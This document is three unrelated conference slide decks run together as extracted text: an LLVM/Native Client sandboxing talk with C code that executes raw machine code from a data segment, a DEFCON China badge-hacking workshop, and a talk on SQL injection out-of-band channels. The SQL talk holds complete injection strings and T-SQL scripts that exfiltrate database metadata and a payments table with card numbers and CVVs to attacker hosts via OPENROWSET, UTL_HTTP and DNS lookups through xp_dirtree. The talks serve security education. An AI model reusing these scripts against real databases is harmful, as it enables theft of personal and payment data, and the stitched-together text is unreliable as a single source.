TmpAsmCode[]={0x90,0x55,0x48,0x89,0xe5,0xb8,0x04,0x00,0x00,0x00,0xbb,0x01,0x00,0x00,0x00,0xb9,0x4 0,0x0c,0x60,0x00,0xba,0x10,0x00,0x00,0x00,0xcd,0x80,0xb8,0x11,0x00,0x00,0x00,0xc9,0xc3}; char gpHello[]="Hello Loda!ok!\n"; int main() { int vRet; unsigned long vpHello=(unsigned long)gpHello; unsigned long page = (unsigned long) TmpAsmCode & ~( 4096 - 1 ); if(mprotect((char*) page,4096,PROT_READ | PROT_WRITE | PROT_EXEC )) perror( "mprotect failed" ); TmpAsmCode[19]=vpHello>>24 & 0xff; TmpAsmCode[18]=vpHello>>16 & 0xff; TmpAsmCode[17]=vpHello>>8 & 0xff; TmpAsmCode[16]=vpHello & 0xff; f2=(int (*)())TmpAsmCode; vRet=f2(); printf("vRet=:%d\n",vRet); return 0; }  [root@www LLVM]# gcc self-modify.c -o self-modify  [root@www LLVM]# ./self-modify  Hello Loda!ok!  vRet=:17 17 LLVM AP Run Code in Data Segment with EXEC-settings int (*f2)(); char TmpAsmCode[]={0x90,0x55,0x48,0x89,0xe5,0xb8,0x04,0x00,0x00,0x00,0xbb,0x01,0x00,0x00,0x00,0xb9,0x40,0x0c,0x60,0x00,0xb a,0x10,0x00,0x00,0x00,0xcd,0x80,0xb8,0x11,0x00,0x00,0x00,0xc9,0xc3}; char gpHello[]="Hello Loda!ok!\n"; int main() { int vRet; unsigned long vpHello=(unsigned long)gpHello; unsigned long page = (unsigned long) TmpAsmCode & ~( 4096 - 1 ); if(mprotect((char*) page,4096,PROT_READ | PROT_WRITE | PROT_EXEC )) perror( "mprotect failed" ); char *base_string=malloc(256); strcpy(base_string,gpHello); vpHello=(unsigned long)base_string; TmpAsmCode[19]=vpHello>>24 & 0xff; TmpAsmCode[18]=vpHello>>16 & 0xff; TmpAsmCode[17]=vpHello>>8 & 0xff; TmpAsmCode[16]=vpHello & 0xff; f2=(int (*)())TmpAsmCode; vRet=f2(); printf("vRet=:%d\n",vRet); return 0; }  [root@www LLVM]# clang -O2 -emit-llvm llvm-self-modify.c -c -o llvm-self-modify.bc  [root@www LLVM]# lli llvm-self-modify.bc  Hello Loda!ok!  vRet=:17 18 LLVM AP Run Code in Data Segment without EXEC-settings? int (*f2)(); char TmpAsmCode[]={0x90,0x55,0x48,0x89,0xe5,0xb8,0x04,0x00,0x00,0x00,0xbb,0x01,0x00,0x00,0x00,0xb9,0x40,0x0c,0x60,0x00,0xb a,0x10,0x00,0x00,0x00,0xcd,0x80,0xb8,0x11,0x00,0x00,0x00,0xc9,0xc3}; char gpHello[]="Hello Loda!ok!\n"; int main() { int vRet; unsigned long vpHello=(unsigned long)gpHello; char *base_string=malloc(256); strcpy(base_string,gpHello); vpHello=(unsigned long)base_string; TmpAsmCode[19]=vpHello>>24 & 0xff; TmpAsmCode[18]=vpHello>>16 & 0xff; TmpAsmCode[17]=vpHello>>8 & 0xff; TmpAsmCode[16]=vpHello & 0xff; f2=(int (*)())TmpAsmCode; vRet=f2(); printf("vRet=:%d\n",vRet); return 0; }  [root@www LLVM]# clang -O2 -emit-llvm llvm-self-modify.c -c -o llvm-self-modify.bc  [root@www LLVM]# lli llvm-self-modify.bc  Hello Loda!ok!  It still works!  vRet=:17 19 So…..What we got?  LLVM could run data-segment as execution code.  LLVM doesn’t provide a strict sandbox to prevent the unexpected program flows.  For installed-application, maybe it is ok. (could protect by Android Kernel-Level Application Sandbox)  How about LLVM running in Web Browser? Running by LLI (Low Level Virtual Machine Interpreter & Dynamic Compiler) LLVM BitCode AP Code Data Bidirectional Function Call 20 Technology always come from humanity!!! 21  Provide the browser to run web application in native code.  Based on Google’s sandbox, it would just drop 5% performance compared to original native application.  Could be available in Chrome Browser already.  The Native Client SDK only support the C/C++ on x86 32/64 bits platform.  Provide Pepper APIs (derived from Mozilla NPAPI). Pepper v2 added more APIs. Native Client(Nacl) - a vision of the future 22 Hack Google's Native Client and get $8,192 http://www.zdnet.com/blog/google/hack- googles-native-client-and-get-8192/1295 23  Data integrity  Native Client's sandbox works by validating the untrusted code (the compiled Native Client module) before running it  No support for process creation / subprocesses  You can call pthread  No support for raw TCP/UDP sockets (websockets for TCP and peer connect for UDP)  No unsafe instructions  inline assembly must be compatible with the Native Client validator (could use ncval utility to check) Security of Native Client http://code.google.com/p/nativeclient/issues/list 24 How Native Client Work? Chromium Browser Browsing WebPage with Native Client. Launch nacl64.exe to Execute the NaCl Executable (*.NEXE) file. 25 Main Process and Dynamic Library Chromium Browser C:\Users\loda\AppData\Local\Temp 6934.Tmp (=libc.so.3c8d1f2e) 6922.Tmp (=libdl.so.3c8d1f2e) 6933.tmp (=libgcc_s.so.1) 6912.tmp (=libpthread.so.3c8d1f2e) 67D8.tmp (=runnable-ld.so) 66AE.tmp (=hello_loda.nmf) 6901.Tmp (= hello_loda_x86_64.nexe) Server provided Native Client Page lib64/libc.so.3c8d1f2e lib64/libdl.so.3c8d1f2e lib64/libgcc_s.so.1 lib64/libpthread.so.3c8d1f2e lib64/runnable-ld.so hello_loda.html hello_loda.nmf hello_loda_x86_32.nexe hello_loda_x86_64.nexe Download the main process and dynamic run-time libraries. 26 Dynamic libraries Inheritance relationship runnable-ld.so =(ld-nacl-x86-64.so.1) libc.so.3c8d1f2e libdl.so.3c8d1f2e libgcc_s.so.1 libpthread.so.3c8d1f2e Hello Loda Process (.NEXE) 27  PNaCl (pronounced "pinnacle")  Based on LLVM to provided an ISA-neutral format for compiled NaCl modules supporting a wide variety of target platforms without recompilation from source.  Support the x86-32, x86-64 and ARM instruction sets now.  Still under the security and performance properties of Native Client. Portable Native Client (PNaCl) 28 LLVM and PNaCl Refer from Google’s ‘PNaCl Portable Native Client Executables ’ document. 29 Libtest.pso libtest.c app.c App.bc App.pexe Libtest.so pnacl-translate App.nexe pnacl-translate Translate to native code Execute under Native Client RunTime Environment PNaCl Shared Libraries http://www.chromium.org/nativeclient/pnacl/pnacl-shared-libraries-final-picture 30  Trust with Authentication  Such as the ActiveX technology in Microsoft Windows, it would download the native web application plug-in the browser (MS Internet Explorer). User must authorize the application to run in browser.  User-ID based Access Control  Android Application Sandbox use Linux user-based protection to identify and isolate application resources. Each Android application runs as that user in a separate process, and cannot interact with each other under the limited access to the operating system.. Before SFI 31 User Space Application #1 User Space Application #2 User Space Application #3 Kernel Space Device Drivers and Kernel Modules UnTrust Code Trust Code Application could use kernel provided services by System Call Process individual memory space Process individual memory space Process individual memory space RPC RPC General User/Kernel Space Protection 32  CFI (CISC Fault Isolation)  Based on x86 Code/Data Segment Register to reduce the overhead, NaCl CFI would increase around 2% overhead.  SFI  NaCl SFI would increase 5% overhead in Cortex A9 out- of-order ARM Processor, and 7% overhead in x86_64 Processor. Fault Isolation 1,ARM instruction length is fixed to 32-bits or 16bits (depend on ARMv32,Thumb or Thumb2 ISA) 2,X86 instruction length is variable from 1 to 1x bytes. 33 Target Address Data/Code Dedicated Register= (Target Address & And-Mask Register) | Segment Identifier Dedicated Register UnTrust Code Region Address SandBoxing Address SandBoxing CISC Fault Isolation 34 User Space SFI Trust Code Kernel Space Device Drivers and Kernel Modules UnTrust Code Trust Code Application could use kernel provided services by System Call Process individual memory space User Space SFI UnTrust Code Call Gate Return Gate Running in Software Fault Isolation Model Software Fault Isolation 35  PNaCl would download the whole execution environment (with dynamic libraries)  Would use x86_64 environment as the verification sample.  Each x86_64 App would use 4GB memory space.  But for ARM App, it would only use 0-1GB memory space.  x86_64 R15 Registers would be defined as “Designated Register RZP” (Reserved Zero-address base Pointer),and initiate as a 4GB aligned base address to map the UnTrust Memory space. For the UnTrust Code, R15 Registers is read-only.   SFI SandBox 36  The modification of 64bits RSP/RBP would be replaced by a set instructions to limit the 64bits RSP/RBP would be limited in allowed 32bits range. RSP/RBP Register Operation ...... 10001e0: 8b 2c 24 mov (%rsp),%ebp 10001e3: 4a 8d 6c 3d 00 lea 0x0(%rbp,%r15,1),%rbp 10001e8: 83 c4 08 add $0x8,%esp 10001eb: 4a 8d 24 3c lea (%rsp,%r15,1),%rsp ..... 37  The function target address would be 32 bytes alignment, and limit the target address to allowed 32bits range by R15.  For the internal UnTrust function directly calling, it doesn’t need to filter by the R15  vRet=987*testA(111); Function Call ….. 1000498: 83 e0 e0 and $0xffffffe0,%eax 100049b: 4c 01 f8 add %r15,%rax 100049e: ff d0 callq *%rax ….. …. 10004bb: e8 c0 fe ff ff callq 1000380 <testA> 10004c0: 69 c0 db 03 00 00 imul $0x3db,%eax,%eax …. 38  The function return address would be 32 bytes alignment, and limit the target address to allowed 32bits range by R15. Function Return ….. 10004e8: 83 e1 e0 and $0xffffffe0,%ecx 10004eb: 4c 01 f9 add %r15,%rcx 10004ee: ff e1 jmpq *%rcx ….. 39 For Hacker’s View 40  LLVM support IR and could run on variable processor platforms.  Portable native client + LLVM should be a good candidate to play role in Android and Browser usage. (in SFI SandBox)  It is a new security protection model, use user-space Sandbox to run native code and validate the native instruction without kernel-level privilege involved. Conclusion 41 Appendix 42  From compiled execution code  LLVM transfer to 100% native code. Dalvik VM need to based on the JIT Trace-Run Counter.  From the JIT native-code re-used  After Dalvik VM process restart, the JIT Trace-Run procedures need to perform again. But after LLVM application transfer to 100% native code, it could run as native application always.  From CPU run-time loading  Dalvik application need to calculate the Trance-Run Counter in run-time and perform JIT. LLVM-based native application could save this extra CPU loading. The differences of Dalvik and LLVM (1/2) 43  From the run-time memory footprint  Dalvik application convert to JIT native code would need extra memory as JIT-Cache. If user use Clang to compile C code as BitCode and then use LLVM compiler to compile the BitCode to native assembly, it could save more run-time memory usage.  If Dalvik application transfer the loading to JNI native .so library, it would need extra loading for developer to provide .so for different target processors’ instruction.  From the Storage usage  General Dalvik application need a original APK with .dex file and extra .odex file in dalvik-cache. But LLVM application doesn’t need it.  From the system security view of point  LLVM support pointer/function-pointer/inline-assembly and have the more potential security concern than Java. The differences of Dalvik and LLVM (2/2) 44  NaCl is salt  Download the native client source code  http://code.google.com/p/nativeclient/wiki/Source?tm=4  cd $NACL_ROOT  gclient config http://src.chromium.org/native_client/trunk/src/native_cl ient  gclient sync NaCl Source Code http://code.google.com/p/nativeclient/issues/list 45 Native Client Page Content <html> <body ...> .... <div id="listener"> ..... <embed name="nacl_module" id="hello_loda" width=200 height=200 src="hello_loda.nmf" type="application/x-nacl" /> </div> </body> </html> { "files": { "libgcc_s.so.1": { "x86-64": { "url": "lib64/libgcc_s.so.1" }, ..... }, "main.nexe": { "x86-64": { "url": "hello_loda_x86_64.nexe" }, ..... }, "libdl.so.3c8d1f2e": { ..... }, "libc.so.3c8d1f2e": { ..... }, "libpthread.so.3c8d1f2e": { ..... }, "program": { "x86-64": { "url": "lib64/runnable-ld.so" }, ..... } } 46 End 47
pdf
DEFCON CHINA 1.0 BADGE hacking workshop joe Grand aka kingpin •informal environment •a deeper look into the badge •setup development environment •modify/recompile CODE •open lab workshop goals •complete tasks, get rewarded •4 roots and 4 branches, each with 4 leds •when task is complete, badge inserted into programmer to unlock LED •when each root is complete, magic happens •when all roots are complete, even magic happens gameplay Hardware USB POWER LED control ACCELEROMETER mcu FPC block diagram •test •test •test Schematic USB INTERFACE •allows for arduino programming and interactive mode •FT231X USB-to-Serial UART •entire usb protocol handled on-chip •host will recognize as virtual serial device/com port •mosfets for soft-start and power switchover led matrix •multiplexing via led matrix library •row controlled by discrete i/O •column controlled through 74hc595 shift register •refresh @ 175hz to reduce flicker •each led individually addressable, dimmable (16 levels) accelerometer •ST microelectronics LIS3DH •3-axis digital output (i2c/SPI) •+/- 2, 4, 8, 16g range •interrupt on motion or free fall •used to preserve battery life •sleep mode @ 10 seconds of inactivity •Raw values available through interactive mode •edge connector as interface to the outside world •UART, I2C, AVR ICSP •used with programming shield to set/read state of badge leds FLEXIBLE PRINTED CIRCUIT (FPC) pin 1 pin 12 1.GND 2.SCK 3.MISO 4.MOSI 5./RST 6.SDA 7.SCL 8.SIN 9.SOUT 10./SEN SE 11.GPIO 12.VCC bill-of-materials •ARDUINO •open source platform based on easy-to-use hw/sw/FW •worldwide community of users/contributors •90% of FLash (27.6kB), 43% of RAM (887 bytes) •loop •set power state (battery, usb, usb charger) •check for/process interactive mode •check for/process fpc communication •update leds •sleep until accelerometer interrupt Firmware •led matrix •Add #define swap() to .cpp to prevent compiling error •Remove #defines for DIO2 pinMode and digitalWrite •conflicted with my core code arduino cheat sheet •arduino ide •cross platform (windows, mac os, linux) •written in java, based on processing • www.arduino.cc/en/Main/Software setup development environment INTERACT w/ BADGE via SERIAL MONITOR •Third-party libraries to add functionality to arduino •essential for rapid development •some code modifications required during badge integration •Low power • https://github.com/rocketscream/Low-Power •Adafruit_LIS3DH (ACCELEROMETER) • https://github.com/adafruit/Adafruit_LIS3DH •Adafruit_SENSOR (sensor abstraction layer) • https://github.com/adafruit/Adafruit_Sensor LIBRARIES •led matrix (individually addressable, dimmable, shift register) • https://github.com/marcmerlin/LED-Matrix •ADAFRUIT-GFX-LIBRARY (Core graphics primitives) • https://github.com/adafruit/Adafruit-GFX-Library •DIO2 (Fast digital i/O) • www.codeproject.com/Articles/732646/Fast-digital-I-O-for- Arduino •Timerone (ENHANCED TIMer, PERIODIC INTERRUPTS) • https://github.com/PaulStoffregen/TimerOne LIBRARIES install libraries •led matrix •Add #define swap() to .cpp to prevent compiling error •Remove #defines for DIO2 pinMode and digitalWrite •conflicted with my core code code modifications •Find flags and figure out how to achieve them •enable special badge hacking workshop flag •??? explore source code COMPILE & UPLOAD CODE •access all fpc signals •UART, I2C, AVR ICSP •sao adapter • http://oshpark.com/shared_projects/X4QDh3nj fpc breakout board •serial communication via fpc •set/clear individual led •read state of badge •arduino w/ custom shield •txs0104 level translator •5v arduino <-> 3v badge •dip switches •i2c, avr icsp footprints • http://oshpark.com/shared_projects/WGHZCahO programming shield programming shield •dip switch settings determine functionality •00: Off •01: set selected led •10: clear selected led •11: read badge state programming shield •flexible, General purpose arduino platform •isolate core hardware from roots/branches (TREE TRIMMING)? •modify FW for better led animations? •more interaction w/ accelerometer? •??? •design documentation, code, etc. • www.grandideastudio.com/portfolio/defcon-china-2019- badge Hacking open lab thank you for coming! @JOEGRAND | www.grandideastudio.com
pdf
SQL – Injection & OOB – channels Patrik Karlsson, Inspect it For an updated version of this presentation check http://www.inspectit.se/dc15.html Introduction • Who am I – Patrik Karlsson – Information Security Consultant – Owner of Inspect it – Founder of cqure.net Introduction • What do I do? – Penetration testing – Application Security Reviews – Source code reviews – General information security audits Introduction • What am I presenting? – A speech on SQL-injection with focus on out-of-band channeling – A number of examples using this technique • Why? – Because we’re still seeing a lot of vulnerable applications … – Tunneling data is fun? Introduction • What am I not presenting? – The basics of SQL injection – An arsenal of tools for automatic scanning/hacking web applications – The silver bullet solution to all SQL – injection problems A very brief recap SQL – injection What is SQL – injection • High risk security vulnerability • The ability to inject arbitrary SQL code through poorly validated application parameters • Occurs due to inadequate design and input validation controls • Depending on privileges/patch-levels consequences may range from troublesome to devastating • All source code variables containing data provided by the user could be vulnerable – Forms, URL-parameters, cookies, referrer, user-agent … SQL – injection exemplified • A classic example sql = “SELECT usr_id FROM tbl_users WHERE usr_name = ‘” + sUser + ”’ AND usr_pass=‘” + sPass + “’” • What if the user supplies the following password ‘ OR 1=1 -- SQL – injection & OOB channels OOB – channels introduction • Relies on “traditional” SQL-injection weaknesses for exploitation • Contrary to in-band injection it uses an alternative channel to return data • This channel can take many different forms: timing, http, DNS • Several different approaches exists which dependend on the backend DB OOB – channels introduction • Exploitation using OOB-channels becomes interesting when – detailed error messages are disabled – control is gained “late” in a query – able to inject a second query (batching) – results are being limited/filtered – outbound firewall rules are lax – reducing the number of queries is important – blind SQL injection looks like the only option OOB – channels introduction • In order to illustrate where OOB- channeling can be useful – Consider enumerating information from the following vulnerable code (x marks user input) SELECT topic FROM news ORDER BY x EXEC sp_logon @name=’admin’, @pass=’x’ SELECT TOP 1 id FROM t WHERE name=’x’ OOB – channels introduction • Depending on a number of factors a channel can be more or less suitable • Three approaches will be discussed along with their respective limitations – Channeling data using OPENROWSET – Channeling data using UTL_HTTP – Channeling data over DNS OPENROWSET OPENROWSET – introduction – Available in Microsoft SQL Server – Allows information to be retrieved from alternate data provider – Can be used together with UNION in order to merge with existing dataset – Disabled by default in MSSQL 2005 OPENROWSET – syntax OPENROWSET ( { 'provider_name' , { 'datasource' ; 'user_id' ; 'password' | 'provider_string' } , { [ catalog. ] [ schema. ] object | 'query' } | BULK 'data_file' , { FORMATFILE = 'format_file_path' [ <bulk_options>] | SINGLE_BLOB | SINGLE_CLOB | SINGLE_NCLOB } } ) OPENROWSET – example • Classic example enumerating data from “neighbor” database … UNION ALL SELECT a.* FROM OPENROWSET(‘SQLOLEDB', 'uid=sa;pwd=;Network=DBMSSOCN; Address=10.10.10.10;timeout=1', ‘SELECT user, pass FROM users') AS a-- OPENROWSET – illustration OPENROWSET • So how is this relevant in regards to OOB-channels? – OPENROWSET can be reversed in order to INSERT data into a data source – This would allow us to fetch data from one source and insert it to another – The destination DB could be any host reachable from the source – Allows for information enumeration through “batching” statements OPENROWSET – example SELECT usr_id FROM tbl_users WHERE usr_name = ‘patrik’ AND usr_pass=‘secret’;INSERT INTO OPENROWSET('SQLOLEDB', 'uid=haxxor;pwd=31337; Network=DBMSSOCN; Address=th3.h4xx0r.c0m,443; timeout=5','SELECT * FROM users') SELECT * from users -- OPENROWSET – illustration OPENROWSET – considerations • Obstacles – Destination DB needs to be reachable from source DB – Source and destination tables need to be identical • Solutions – HTTP(S), FTP are ports which tend to be available for outgoing connections – SYSOBJECTS and SYSCOLUMNS contain everything we would ever wish for :) OPENROWSET – summary • OPENROWSET as OOB – channel – There are still quite a few < 2005 DB’s out there – Many databases are still left unhardened – Firewalls tend to be less strict outbound • Limitations – Limited to Microsoft SQL Server – Disabled by default in MS SQL 2005 – Hardening guides suggest disabling – Requires a direct outbound connection to the attackers DB – By default, in SQL Server SP3 or later, users need to be members of the sysadmin role Oracle – UTL_HTTP UTL_HTTP – introduction • UTL_HTTP allows for web pages to be downloaded through SQL queries • The following query returns 2000 bytes from the Oracle web page – SELECT utl_http.request('http://www.oracle.com/') FROM dual • Possible to exploit as an OOB channel by dynamically building the URL • Retrieved data can be seen in web server log files UTL_HTTP – example • Example of “late” exploitation SELECT topic FROM news ORDER BY (select utl_http.request('http://www.cq ure.net/INJ/'||(select uname || ‘_’ || upass from tbl_logins where rownum<2)||'') from dual) UTL_HTTP – illustration UTL_HTTP – logfile sample "GET /inj/ADMIN_NIMDA HTTP/1.1" 200 "GET /inj/USER_SECRET HTTP/1.1" 200 "GET /inj/PETER_MARY1 HTTP/1.1" 200 “GET /inj/FRED_JANE99 HTTP/1.1" 200 “GET /inj/HENRY_CARS1 HTTP/1.1" 200 "GET /inj/MARY_PETER2 HTTP/1.1" 200 "GET /inj/JANE_FLOWER HTTP/1.1" 200 UTL_HTTP – summary • UTL_HTTP as OOB – channel – Many databases are still left unhardened – Firewalls tend to be less strict outbound • Limitations – Limited to Oracle RDBMS – Hardening guides suggest disabling – Requires a direct outgoing connection to the attackers webserver 30 DNS as OOB – channel DNS • DNS is a hierarchical protocol • Let’s assume we manage the DNS server for the zone cqure.net • If someone at Corporation X looks up a host in our domain eg. www.cqure.net a query will find its way to us • This would allow us to monitor queries for sub-domains or hosts in this domain Why is DNS interesting? • Even when DB’s have been hardened and restricted from communicating with the Internet they often do DNS • Most internal DNS servers are allowed to forward their queries • Most hardening guides fail to mention a number of functions that can be used to initiate DNS queries • This provides us with an indirect channel to a DNS server of our choice • If we could trigger DNS resolution we could ask for hosts in our zone DNS as OOB – channel DNS as OOB – channel • Microsoft SQL Server and Oracle have stored procedures and functions that directly or indirectly do DNS-resolution • Some of these functions are executable by the “public” user • Some of them are not mentioned in hardening guides DNS as OOB – channel • Microsoft SQL Server – A number of stored procedures accept UNC path- names – Pointing a UNC path to a fqdn results in DNS resolution – This can be used to channel database information to an attacker – Example of stored procedures • xp_dirtree, xp_fileexists, xp_getfiledetails, sp_add_jobstep, – BACKUP DATABASE could also be used ... DNS as OOB – channel • Oracle database server – Oracle provides the package UTL_INADDR which does direct name resolution – UTL_HTTP or UTL_TCP can be used even if outbound communication is restricted • Other databases? – Yes probably DNS as OOB – channel • When extracting information using DNS the host name holds our data • This means that our hostname has to be built dynamically using table data • This can be achieved by using one or more variables and database cursors • Once the hostname is complete xp_dirtree is issued to send our data Retrieving the db-user name DECLARE @s varchar(1024); SET @s = 'master..xp_dirtree ''\\' + user_name() + '.inj.cqure.net\x'''; exec(@s) Retrieving the server name DECLARE @s varchar(1024); SET @s = 'master..xp_dirtree ''\\' + CONVERT(varchar, SERVERPROPERTY('ServerName')) + '.inj.cqure.net\x'''; exec(@s) DNS as OOB – challenges • Challenges – DNS records are cached (this is true for non-existent records as well) – Length restrictions of FQDN and labels – Some characters require conversion • Solutions – Resolve using low or zero TTL – Add a unique value to all data retrieved – Truncate/split values exceeding length – Convert characters prior to resolution Handling caching • Caching can be handled by always resolving to an address using a low or zero TTL • Adding a unique piece of information before the data also defeats caching • MSSQL provides the CHECKSUM function – “CHECKSUM computes a hash value, called the checksum, over its list of arguments.” – We feed the CHECKSUM function with the current time stamp (current_timestamp) • The end result will look similar to – 14889601-tabledata.zone.suffix Handling caching – sample DECLARE @s varchar(1024); SET @s = 'master..xp_dirtree ''\\' + convert(varchar, checksum(current_timestamp)) + '-' + user_name() + '.inj.cqure.net\x'''; exec(@s) Handling length limitations • The following length restrictions exist according to RFC 1035 – Labels must be 63 characters or less – FQDN must be 255 characters or less • We need to slice and dice our data in order to fit these restrictions • The goal is to split a string and send it over several consecutive DNS requests Handling length limitations • The proposed layout is as follows 0x<data>-<id>-<part>_<maxparts> – data - is our dot delimited data – id - is an identification for our data – part - is the actual part number – maxparts is the total parts to expect Handling length limitations • By converting our data to hex we need not to worry about any odd characters • This can be achieved by – First converting the data to binary – Then using fn_varbintohexstr • The hex string then needs to be divided into adequate pieces • Splitting is done using the SUBSTRING function Handling length limitations • We first split the data to blocks of suitable FQDN lengths • Each block is then divided once more into appropriate label blocks • The ID- and PART-information is tagged to the end of the resulting data • Finally it's sent using xp_dirtree or equivalent Handling length limitations • The receiving part (dns-server) reverses the process and prints the data • Using this strategy we need only to inject once to retrieve all table data • The injected script does all the work of extracting, packaging and sending data • Only the size of the variable receiving our injected data is the limit Demonstration Enumerating the db-user CREATE TABLE #dbs( dbname sysname, dbsize nvarchar(13) null, owner sysname, dbid smallint, created nvarchar(11), dbdesc nvarchar(600) null, cmptlevel tinyint ); INSERT INTO #dbs EXEC sp_helpdb; CREATE TABLE #metadata( dbname varchar(255), tblname varchar(255), colname varchar(255), typename varchar(255), typelen int) DECLARE @dbname varchar(255) DECLARE _dbs CURSOR LOCAL FORWARD_ONLY READ_ONLY FOR SELECT dbname FROM #dbs WHERE dbname<>'master' AND dbname<>'tempdb' AND dbname<>'msdb' OPEN _dbs FETCH NEXT FROM _dbs INTO @dbname WHILE @@FETCH_STATUS = 0 BEGIN DECLARE @tblname varchar(255) DECLARE @sql varchar(255) SELECT @sql = 'USE ' + @dbname + '; INSERT INTO #metadata SELECT ''' + @dbname + ''', so.name, sc.name, st.name, sc.length FROM sysobjects so, syscolumns sc, systypes st WHERE so.id = sc.id AND sc.xtype = st.xtype AND so.xtype=''U''' EXEC(@sql) FETCH NEXT FROM _dbs INTO @dbname END DECLARE @str varchar(8000) DECLARE @chunk varchar(80) DECLARE @file varchar(300) DECLARE @partno int DECLARE @offset int DECLARE @chunksize int DECLARE @temp varchar(1000) DECLARE @total int DECLARE @chunkid varchar(100) DECLARE @dicesize int DECLARE _descs CURSOR LOCAL FORWARD_ONLY READ_ONLY FOR SELECT CONVERT(char(20),dbname) + CONVERT(char(20),tblname) + CONVERT(char(20), colname) + CONVERT(char(20), typename) + CONVERT(varchar, typelen)+CHAR(10) FROM #metadata OPEN _descs FETCH NEXT FROM _descs INTO @str WHILE @@FETCH_STATUS = 0 BEGIN SET @partno = 0 SET @chunksize = 40 SET @offset = 0 SET @dicesize = 20 SET @total = LEN(@str) / @chunksize IF ( @total % @chunksize > 0 ) SET @total = @total + 1 SET @chunkid = CONVERT( varchar, CHECKSUM(current_timestamp) ) WHILE (LEN(@str)>1) BEGIN SET @chunk = SUBSTRING(@str, 1, @chunksize) SET @str = SUBSTRING(@str, @chunksize + 1, 8000 ) SET @file = master.dbo.fn_varbintohexstr(CONVERT(varbinary(100), @chunk )) SET @offset = 0 SET @temp = '' WHILE( 1=1 ) BEGIN SET @temp = @temp + SUBSTRING( @file, @offset + 1, @dicesize ) SET @offset = @offset + @dicesize IF ( @offset > len(@file) ) BREAK SET @temp = @temp + '.' END SET @file = 'exec master..xp_dirtree ''\\' + CONVERT(varchar, checksum(current_timestamp) ) + '-' + @temp + '-' + @chunkid + '-' + convert(varchar, @partno) + '_' + convert(varchar,@total) + '.inj.cqure.net\x''' EXEC(@file) SET @partno=@partno + 1 END FETCH NEXT FROM _descs INTO @str END DROP TABLE #metadata DROP TABLE #dbs Enumerating metadata CREATE TABLE #dbs( dbname sysname, dbsize nvarchar(13) null, owner sysname, dbid smallint, created nvarchar(11), dbdesc nvarchar(600) null, cmptlevel tinyint ); INSERT INTO #dbs EXEC sp_helpdb; CREATE TABLE #metadata( dbname varchar(255), tblname varchar(255), colname varchar(255), typename varchar(255), typelen int) DECLARE @dbname varchar(255) DECLARE _dbs CURSOR LOCAL FORWARD_ONLY READ_ONLY FOR SELECT dbname FROM #dbs WHERE dbname<>'master' AND dbname<>'tempdb' AND dbname<>'msdb' OPEN _dbs FETCH NEXT FROM _dbs INTO @dbname WHILE @@FETCH_STATUS = 0 BEGIN DECLARE @tblname varchar(255) DECLARE @sql varchar(255) SELECT @sql = 'USE ' + @dbname + '; INSERT INTO #metadata SELECT ''' + @dbname + ''', so.name, sc.name, st.name, sc.length FROM sysobjects so, syscolumns sc, systypes st WHERE so.id = sc.id AND sc.xtype = st.xtype AND so.xtype=''U''' EXEC(@sql) FETCH NEXT FROM _dbs INTO @dbname END DECLARE @str varchar(8000) DECLARE @chunk varchar(80) DECLARE @file varchar(300) DECLARE @partno int DECLARE @offset int DECLARE @chunksize int DECLARE @temp varchar(1000) DECLARE @total int DECLARE @chunkid varchar(100) DECLARE @dicesize int DECLARE _descs CURSOR LOCAL FORWARD_ONLY READ_ONLY FOR SELECT CONVERT(char(20),dbname) + CONVERT(char(20),tblname) + CONVERT(char(20), colname) + CONVERT(char(20), typename) + CONVERT(varchar, typelen)+CHAR(10) FROM #metadata OPEN _descs FETCH NEXT FROM _descs INTO @str WHILE @@FETCH_STATUS = 0 BEGIN SET @partno = 0 SET @chunksize = 40 SET @offset = 0 SET @dicesize = 20 SET @total = LEN(@str) / @chunksize IF ( @total % @chunksize > 0 ) SET @total = @total + 1 SET @chunkid = CONVERT( varchar, CHECKSUM(current_timestamp) ) WHILE (LEN(@str)>1) BEGIN SET @chunk = SUBSTRING(@str, 1, @chunksize) SET @str = SUBSTRING(@str, @chunksize + 1, 8000 ) SET @file = master.dbo.fn_varbintohexstr(CONVERT(varbinary(100), @chunk )) SET @offset = 0 SET @temp = '' WHILE( 1=1 ) BEGIN SET @temp = @temp + SUBSTRING( @file, @offset + 1, @dicesize ) SET @offset = @offset + @dicesize IF ( @offset > len(@file) ) BREAK SET @temp = @temp + '.' END SET @file = 'exec master..xp_dirtree ''\\' + CONVERT(varchar, checksum(current_timestamp) ) + '-' + @temp + '-' + @chunkid + '-' + convert(varchar, @partno) + '_' + convert(varchar,@total) + '.inj.cqure.net\x''' EXEC(@file) SET @partno=@partno + 1 END FETCH NEXT FROM _descs INTO @str END DROP TABLE #metadata DROP TABLE #dbs Enumerating table data DECLARE @str varchar(8000) DECLARE @chunk varchar(80) DECLARE @file varchar(300) DECLARE @partno int DECLARE @offset int DECLARE @chunksize int DECLARE @temp varchar(1000) DECLARE @total int DECLARE @chunkid varchar(100) DECLARE @dicesize int DECLARE _descs CURSOR LOCAL FORWARD_ONLY READ_ONLY FOR SELECT convert(char(30),cardholder) + convert(char(15),cardtype) + convert(char(20),cardno) + cvv + CHAR(10) FROM payments OPEN _descs FETCH NEXT FROM _descs INTO @str WHILE @@FETCH_STATUS = 0 BEGIN SET @partno = 0 SET @chunksize = 40 SET @offset = 0 SET @dicesize = 20 SET @total = LEN(@str) / @chunksize IF ( @total % @chunksize > 0 ) SET @total = @total + 1 SET @chunkid = CONVERT( varchar, CHECKSUM(current_timestamp) ) WHILE (LEN(@str)>1) BEGIN SET @chunk = SUBSTRING(@str, 1, @chunksize) SET @str = SUBSTRING(@str, @chunksize + 1, 8000 ) SET @file = master.dbo.fn_varbintohexstr(CONVERT(varbinary(100), @chunk )) SET @offset = 0 SET @temp = '' WHILE( 1=1 ) BEGIN SET @temp = @temp + SUBSTRING( @file, @offset + 1, @dicesize ) SET @offset = @offset + @dicesize IF ( @offset > len(@file) ) BREAK SET @temp = @temp + '.' END SET @file = 'exec master..xp_dirtree ''\\' + CONVERT(varchar, checksum(current_timestamp) ) + '-' + @temp + '-' + @chunkid + '-' + convert(varchar, @partno) + '_' + convert(varchar,@total) + '.inj.cqure.net\x''' EXEC(@file) SET @partno=@partno + 1 END FETCH NEXT FROM _descs INTO @str END -- Preventive measures • Examples of preventive measures – Write solid code • Use parameterized SQL with query placeholders • Never trust users to play nice – HARDEN DATABASES • Use many of the great free hardening templates, including the once made available by the vendor • Restrict outgoing communication to the Internet from database servers • Disable OPENROWSET functionality • Disable DNS – Practice the “principle of least privilege” • Use functions/sp’s and revoke privileges from tables and views etc. etc. Questions? Patrik Karlsson [email protected] [email protected]
pdf
